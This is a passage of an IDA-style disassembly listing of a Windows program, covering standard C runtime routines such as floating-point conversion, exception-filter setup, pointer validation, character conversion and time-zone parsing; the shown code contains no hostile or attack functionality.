loc_41E477:				; CODE XREF: sub_41E412+E4j
		push	2


loc_41E479:				; CODE XREF: sub_41E412+110j
		pop	eax
		jmp	loc_41E540
; ---------------------------------------------------------------------------


loc_41E47F:				; CODE XREF: sub_41E412+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E343
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E2B7
		add	esp, 10h
		test	eax, eax
		jz	short loc_41E4A0
		inc	ebx


loc_41E4A0:				; CODE XREF: sub_41E412+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41E4B8
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E35E
		pop	ecx
		jmp	short loc_41E4F4
; ---------------------------------------------------------------------------


loc_41E4B8:				; CODE XREF: sub_41E412+98j
		cmp	ebx, eax
		jg	short loc_41E4FB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E343
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41E385
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E2B7
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E385
		add	esp, 20h


loc_41E4F4:				; CODE XREF: sub_41E412+A4j
		xor	esi, esi
		jmp	loc_41E477
; ---------------------------------------------------------------------------


loc_41E4FB:				; CODE XREF: sub_41E412+A8j
		cmp	ebx, [edi]
		jl	short loc_41E527
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E35E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E385
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41E479
; ---------------------------------------------------------------------------


loc_41E527:				; CODE XREF: sub_41E412+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41E385
		pop	ecx
		pop	ecx


loc_41E53E:				; CODE XREF: sub_41E412+55j
		xor	eax, eax


loc_41E540:				; CODE XREF: sub_41E412+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41E56F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41E579
; ---------------------------------------------------------------------------


loc_41E56F:				; CODE XREF: sub_41E412+14Ej
		cmp	edi, 20h
		jnz	short loc_41E579
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41E579:				; CODE XREF: sub_41E412+15Bj
					; sub_41E412+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E412	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E57E	proc near		; CODE XREF: sub_41E5AA+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43A8C0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41E412
		add	esp, 0Ch
		retn
sub_41E57E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E594	proc near		; CODE XREF: sub_41E5D7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43A8D8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41E412
		add	esp, 0Ch
		retn
sub_41E594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5AA	proc near		; CODE XREF: sub_41A863+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F407
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E57E
		add	esp, 24h
		leave
		retn
sub_41E5AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5D7	proc near		; CODE XREF: sub_41A863+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F407
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E594
		add	esp, 24h
		leave
		retn
sub_41E5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E604	proc near		; CODE XREF: sub_41A8A1+65p
					; sub_41A9A5+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41E641
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41E627:				; CODE XREF: sub_41E604+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41E633
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41E636
; ---------------------------------------------------------------------------


loc_41E633:				; CODE XREF: sub_41E604+27j
		push	30h
		pop	edx


loc_41E636:				; CODE XREF: sub_41E604+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41E627
		mov	edx, [ebp+arg_8]


loc_41E641:				; CODE XREF: sub_41E604+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41E65A
		cmp	byte ptr [ecx],	35h
		jl	short loc_41E65A


loc_41E64D:				; CODE XREF: sub_41E604+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41E658
		mov	byte ptr [eax],	30h
		jmp	short loc_41E64D
; ---------------------------------------------------------------------------


loc_41E658:				; CODE XREF: sub_41E604+4Dj
		inc	byte ptr [eax]


loc_41E65A:				; CODE XREF: sub_41E604+42j
					; sub_41E604+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41E664
		inc	dword ptr [edx+4]
		jmp	short loc_41E676
; ---------------------------------------------------------------------------


loc_41E664:				; CODE XREF: sub_41E604+59j
		push	edi
		call	sub_415B10
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416320
		add	esp, 10h


loc_41E676:				; CODE XREF: sub_41E604+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E604	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E67B	proc near		; CODE XREF: sub_41A8A1+3Fp
					; sub_41A9A5+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E6DF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_46B808
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41F8D8
		mov	dword_46B830, eax
		add	esp, 18h
		movsx	eax, byte_46B80A
		mov	dword_46B828, eax
		pop	edi
		movsx	eax, word_46B808
		mov	dword_46B82C, eax
		mov	dword_46B834, offset dword_46B80C
		mov	eax, offset dword_46B828
		pop	esi
		leave
		retn
sub_41E67B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6DF	proc near		; CODE XREF: sub_41E67B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41E72D
		cmp	ebx, edi
		jz	short loc_41E726
		lea	edi, [ecx+3C00h]
		jmp	short loc_41E74E
; ---------------------------------------------------------------------------


loc_41E726:				; CODE XREF: sub_41E6DF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41E74E
; ---------------------------------------------------------------------------


loc_41E72D:				; CODE XREF: sub_41E6DF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41E745
		cmp	edx, ebx
		jnz	short loc_41E745
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41E790
; ---------------------------------------------------------------------------


loc_41E745:				; CODE XREF: sub_41E6DF+52j
					; sub_41E6DF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41E74E:				; CODE XREF: sub_41E6DF+45j
					; sub_41E6DF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41E766:				; CODE XREF: sub_41E6DF+A6j
		test	ecx, esi
		jnz	short loc_41E787
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41E766
; ---------------------------------------------------------------------------


loc_41E787:				; CODE XREF: sub_41E6DF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41E790:				; CODE XREF: sub_41E6DF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E6DF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_417C0E
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E79E	proc near		; DATA XREF: sub_41E7E4o
					; seg001:0043A298o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41E7C1
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41E7C1
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41E7C1
		jmp	sub_41B42C
; ---------------------------------------------------------------------------


loc_41E7C1:				; CODE XREF: sub_41E79E+Dj
					; sub_41E79E+13j ...
		mov	eax, dword_46B838
		test	eax, eax
		jz	short loc_41E7DE
		push	eax
		call	sub_41E83A
		test	eax, eax
		pop	ecx
		jz	short loc_41E7DE
		push	esi
		call	dword_46B838
		jmp	short loc_41E7E0
; ---------------------------------------------------------------------------


loc_41E7DE:				; CODE XREF: sub_41E79E+2Aj
					; sub_41E79E+35j
		xor	eax, eax


loc_41E7E0:				; CODE XREF: sub_41E79E+3Ej
		pop	esi
		retn	4
sub_41E79E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7E4	proc near		; DATA XREF: seg001:00423024o
		push	offset sub_41E79E
		call	dword_42101C	; SetUnhandledExceptionFilter
		mov	dword_46B838, eax
		retn
sub_41E7E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7F5	proc near		; DATA XREF: seg001:0042303Co
		push	dword_46B838
		call	dword_42101C	; SetUnhandledExceptionFilter
		retn
sub_41E7F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E802	proc near		; CODE XREF: sub_41AC79+6Bp
					; sub_41B18A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41E81A
		xor	esi, esi


loc_41E81A:				; CODE XREF: sub_41E802+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E802	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E81E	proc near		; CODE XREF: sub_41B18A+73p
					; sub_41B18A+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421184	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41E836
		xor	esi, esi


loc_41E836:				; CODE XREF: sub_41E81E+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E81E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E83A	proc near		; CODE XREF: sub_41B18A+15Bp
					; sub_41E79E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_421014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41E84E
		xor	esi, esi


loc_41E84E:				; CODE XREF: sub_41E83A+10j
		mov	eax, esi
		pop	esi
		retn
sub_41E83A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B42C


loc_41E852:				; CODE XREF: sub_41B42C:loc_41B47Dj
		push	0Ah
		call	sub_41D7B5
		push	16h
		call	sub_41FB6B
		pop	ecx
		pop	ecx
		push	3
		call	sub_417858
; END OF FUNCTION CHUNK	FOR sub_41B42C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E869	proc near		; CODE XREF: sub_41B605+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41E88C
		cmp	[ebp+arg_8], ebx
		jz	short loc_41E88C
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41E892
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41E88C
		mov	[eax], bx


loc_41E88C:				; CODE XREF: sub_41E869+Cj
					; sub_41E869+11j ...
		xor	eax, eax


loc_41E88E:				; CODE XREF: sub_41E869+42j
					; sub_41E869+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E892:				; CODE XREF: sub_41E869+17j
		cmp	dword_46B6CC, ebx
		jnz	short loc_41E8AD
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41E8A8
		movzx	ax, al
		mov	[ecx], ax


loc_41E8A8:				; CODE XREF: sub_41E869+36j
					; sub_41E869+C0j
		push	1
		pop	eax
		jmp	short loc_41E88E
; ---------------------------------------------------------------------------


loc_41E8AD:				; CODE XREF: sub_41E869+2Fj
		mov	ecx, off_437F20
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E90A
		mov	eax, dword_43812C
		cmp	eax, 1
		jle	short loc_41E8F1
		cmp	[ebp+arg_8], eax
		jl	short loc_41E8FB
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_46B6DC
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43812C
		jnz	short loc_41E88E


loc_41E8F1:				; CODE XREF: sub_41E869+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E8FB
		cmp	[esi+1], bl
		jnz	short loc_41E88E


loc_41E8FB:				; CODE XREF: sub_41E869+61j
					; sub_41E869+8Bj ...
		mov	dword_46B634, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E88E
; ---------------------------------------------------------------------------


loc_41E90A:				; CODE XREF: sub_41E869+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_46B6DC
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E8A8
		jmp	short loc_41E8FB
sub_41E869	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E931	proc near		; CODE XREF: sub_41B605+76p
					; sub_41B605+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43812C, 1
		jle	short loc_41E948
		push	8
		push	[esp+4+arg_0]
		call	sub_418576
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E948:				; CODE XREF: sub_41E931+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_437F20
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E931	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E960	proc near		; CODE XREF: sub_41B605+797p
					; sub_41B605+7E7p
		cmp	cl, 40h
		jnb	short loc_41E97A
		cmp	cl, 20h
		jnb	short loc_41E970
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41E970:				; CODE XREF: sub_41E960+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41E97A:				; CODE XREF: sub_41E960+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41E960	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E97F	proc near		; CODE XREF: sub_41C07B+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E9CB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E99D
		test	al, 80h
		jz	short loc_41E9CB
		test	al, 2
		jnz	short loc_41E9CB


loc_41E99D:				; CODE XREF: sub_41E97F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E9AA
		push	esi
		call	sub_41D908
		pop	ecx


loc_41E9AA:				; CODE XREF: sub_41E97F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E9BA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E9CB
		inc	eax
		mov	[esi], eax


loc_41E9BA:				; CODE XREF: sub_41E97F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41E9D1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41E9D7
		inc	eax
		mov	[esi], eax


loc_41E9CB:				; CODE XREF: sub_41E97F+9j
					; sub_41E97F+18j ...
		or	eax, 0FFFFFFFFh


loc_41E9CE:				; CODE XREF: sub_41E97F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E9D1:				; CODE XREF: sub_41E97F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41E9D7:				; CODE XREF: sub_41E97F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E9CE
sub_41E97F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9ED	proc near		; CODE XREF: sub_41C0B6:loc_41C0F5p
		cmp	dword_46B8F8, 0
		jnz	short locret_41EA01
		call	sub_41EA02
		inc	dword_46B8F8

locret_41EA01:				; CODE XREF: sub_41E9ED+7j
		retn
sub_41E9ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA02	proc near		; CODE XREF: sub_41E9ED+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_46B840, ebp
		mov	dword_43A998, ebx
		mov	dword_43A988, ebx
		call	sub_41FCDD
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41EB2B
		push	offset dword_46B848
		call	dword_421158	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_41EC5A
		mov	eax, dword_46B848
		mov	ecx, dword_46B89C
		imul	eax, 3Ch
		cmp	word_46B88E, bp
		push	1
		pop	edx
		mov	dword_43A8F0, eax
		mov	dword_46B840, edx
		jz	short loc_41EA79
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43A8F0, eax


loc_41EA79:				; CODE XREF: sub_41EA02+69j
		cmp	word_46B8E2, bp
		jz	short loc_41EA9D
		mov	eax, dword_46B8F0
		cmp	eax, ebp
		jz	short loc_41EA9D
		sub	eax, ecx
		mov	dword_43A8F4, edx
		imul	eax, 3Ch
		mov	dword_43A8F8, eax
		jmp	short loc_41EAA9
; ---------------------------------------------------------------------------


loc_41EA9D:				; CODE XREF: sub_41EA02+7Ej
					; sub_41EA02+87j
		mov	dword_43A8F4, ebp
		mov	dword_43A8F8, ebp


loc_41EAA9:				; CODE XREF: sub_41EA02+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_421138
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43A97C
		push	ebx
		push	offset dword_46B84C
		push	edi
		push	dword_46B6DC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41EAE6
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41EAE6
		mov	eax, off_43A97C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41EAEE
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41EA02+D1j
					; sub_41EA02+D7j
		mov	eax, off_43A97C
		and	byte ptr [eax],	0


loc_41EAEE:				; CODE XREF: sub_41EA02+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43A980
		push	ebx
		push	offset dword_46B8A0
		push	edi
		push	dword_46B6DC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41EC52
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41EC52
		mov	eax, off_43A980
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41EC5A
; ---------------------------------------------------------------------------


loc_41EB2B:				; CODE XREF: sub_41EA02+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41EC5A
		mov	eax, dword_46B8F4
		cmp	eax, ebp
		jz	short loc_41EB4E
		push	eax
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41EC5A


loc_41EB4E:				; CODE XREF: sub_41EA02+139j
		push	dword_46B8F4
		call	sub_415C9B
		push	esi
		call	sub_415B10
		inc	eax
		push	eax
		call	sub_415BE9
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_46B8F4, eax
		jz	loc_41EC5A
		push	esi
		push	eax
		call	sub_415A20
		push	3
		push	esi
		push	off_43A97C
		call	sub_416BE0
		mov	eax, off_43A97C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41EBA3
		push	1
		inc	esi
		pop	edi


loc_41EBA3:				; CODE XREF: sub_41EA02+19Bj
		push	esi
		call	sub_4157F4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43A8F0, ecx


loc_41EBBA:				; CODE XREF: sub_41EA02+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41EBC8
		cmp	al, bl
		jl	short loc_41EBCB
		cmp	al, 39h
		jg	short loc_41EBCB


loc_41EBC8:				; CODE XREF: sub_41EA02+1BCj
		inc	esi
		jmp	short loc_41EBBA
; ---------------------------------------------------------------------------


loc_41EBCB:				; CODE XREF: sub_41EA02+1C0j
					; sub_41EA02+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41EC1E
		inc	esi
		push	esi
		call	sub_4157F4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43A8F0
		add	ecx, eax
		mov	dword_43A8F0, ecx


loc_41EBE9:				; CODE XREF: sub_41EA02+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41EBF6
		cmp	al, 39h
		jg	short loc_41EBF6
		inc	esi
		jmp	short loc_41EBE9
; ---------------------------------------------------------------------------


loc_41EBF6:				; CODE XREF: sub_41EA02+1EBj
					; sub_41EA02+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41EC1E
		inc	esi
		push	esi
		call	sub_4157F4
		pop	ecx
		mov	ecx, dword_43A8F0
		add	ecx, eax
		mov	dword_43A8F0, ecx


loc_41EC11:				; CODE XREF: sub_41EA02+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41EC1E
		cmp	al, 39h
		jg	short loc_41EC1E
		inc	esi
		jmp	short loc_41EC11
; ---------------------------------------------------------------------------


loc_41EC1E:				; CODE XREF: sub_41EA02+1CCj
					; sub_41EA02+1F7j ...
		cmp	edi, ebp
		jz	short loc_41EC2A
		neg	ecx
		mov	dword_43A8F0, ecx


loc_41EC2A:				; CODE XREF: sub_41EA02+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43A8F4, eax
		jz	short loc_41EC52
		push	3
		push	esi
		push	off_43A980
		call	sub_416BE0
		mov	eax, off_43A980
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41EC5A
; ---------------------------------------------------------------------------


loc_41EC52:				; CODE XREF: sub_41EA02+10Bj
					; sub_41EA02+115j ...
		mov	eax, off_43A980
		and	byte ptr [eax],	0


loc_41EC5A:				; CODE XREF: sub_41EA02+40j
					; sub_41EA02+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41EA02	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC60	proc near		; CODE XREF: sub_41C0B6+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43A8F4, edi
		jnz	short loc_41EC74


loc_41EC6D:				; CODE XREF: sub_41EC60+148j
					; sub_41EC60+150j ...
		xor	eax, eax
		jmp	loc_41EDC0
; ---------------------------------------------------------------------------


loc_41EC74:				; CODE XREF: sub_41EC60+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43A988
		jnz	short loc_41EC92
		cmp	eax, dword_43A998
		jz	loc_41ED94


loc_41EC92:				; CODE XREF: sub_41EC60+24j
		cmp	dword_46B840, edi
		jz	loc_41ED6A
		movzx	ecx, word_46B8EE
		push	ecx
		cmp	word_46B8E0, di
		movzx	ecx, word_46B8EC
		push	ecx
		movzx	ecx, word_46B8EA
		push	ecx
		movzx	ecx, word_46B8E8
		push	ecx
		jnz	short loc_41ECE4
		movzx	ecx, word_46B8E4
		push	edi
		push	ecx
		movzx	ecx, word_46B8E6
		push	ecx
		movzx	ecx, word_46B8E2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41ECF8
; ---------------------------------------------------------------------------


loc_41ECE4:				; CODE XREF: sub_41EC60+65j
		movzx	ecx, word_46B8E6
		push	ecx
		push	edi
		movzx	ecx, word_46B8E2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41ECF8:				; CODE XREF: sub_41EC60+82j
		push	ebx
		call	sub_41EE0C
		movzx	eax, word_46B89A
		add	esp, 2Ch
		cmp	word_46B88C, di
		push	eax
		movzx	eax, word_46B898
		push	eax
		movzx	eax, word_46B896
		push	eax
		movzx	eax, word_46B894
		push	eax
		jnz	short loc_41ED52
		movzx	eax, word_46B890
		push	edi
		push	eax
		movzx	eax, word_46B892
		push	eax
		movzx	eax, word_46B88E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41ED47:				; CODE XREF: sub_41EC60+108j
		push	edi
		call	sub_41EE0C
		add	esp, 2Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------


loc_41ED52:				; CODE XREF: sub_41EC60+C8j
		movzx	eax, word_46B892
		push	eax
		push	edi
		movzx	eax, word_46B88E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41ED47
; ---------------------------------------------------------------------------


loc_41ED6A:				; CODE XREF: sub_41EC60+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41EE0C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41EE0C
		add	esp, 58h


loc_41ED94:				; CODE XREF: sub_41EC60+2Cj
					; sub_41EC60+F0j
		mov	edx, dword_43A98C
		mov	eax, dword_43A99C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41EDC4
		cmp	ecx, edx
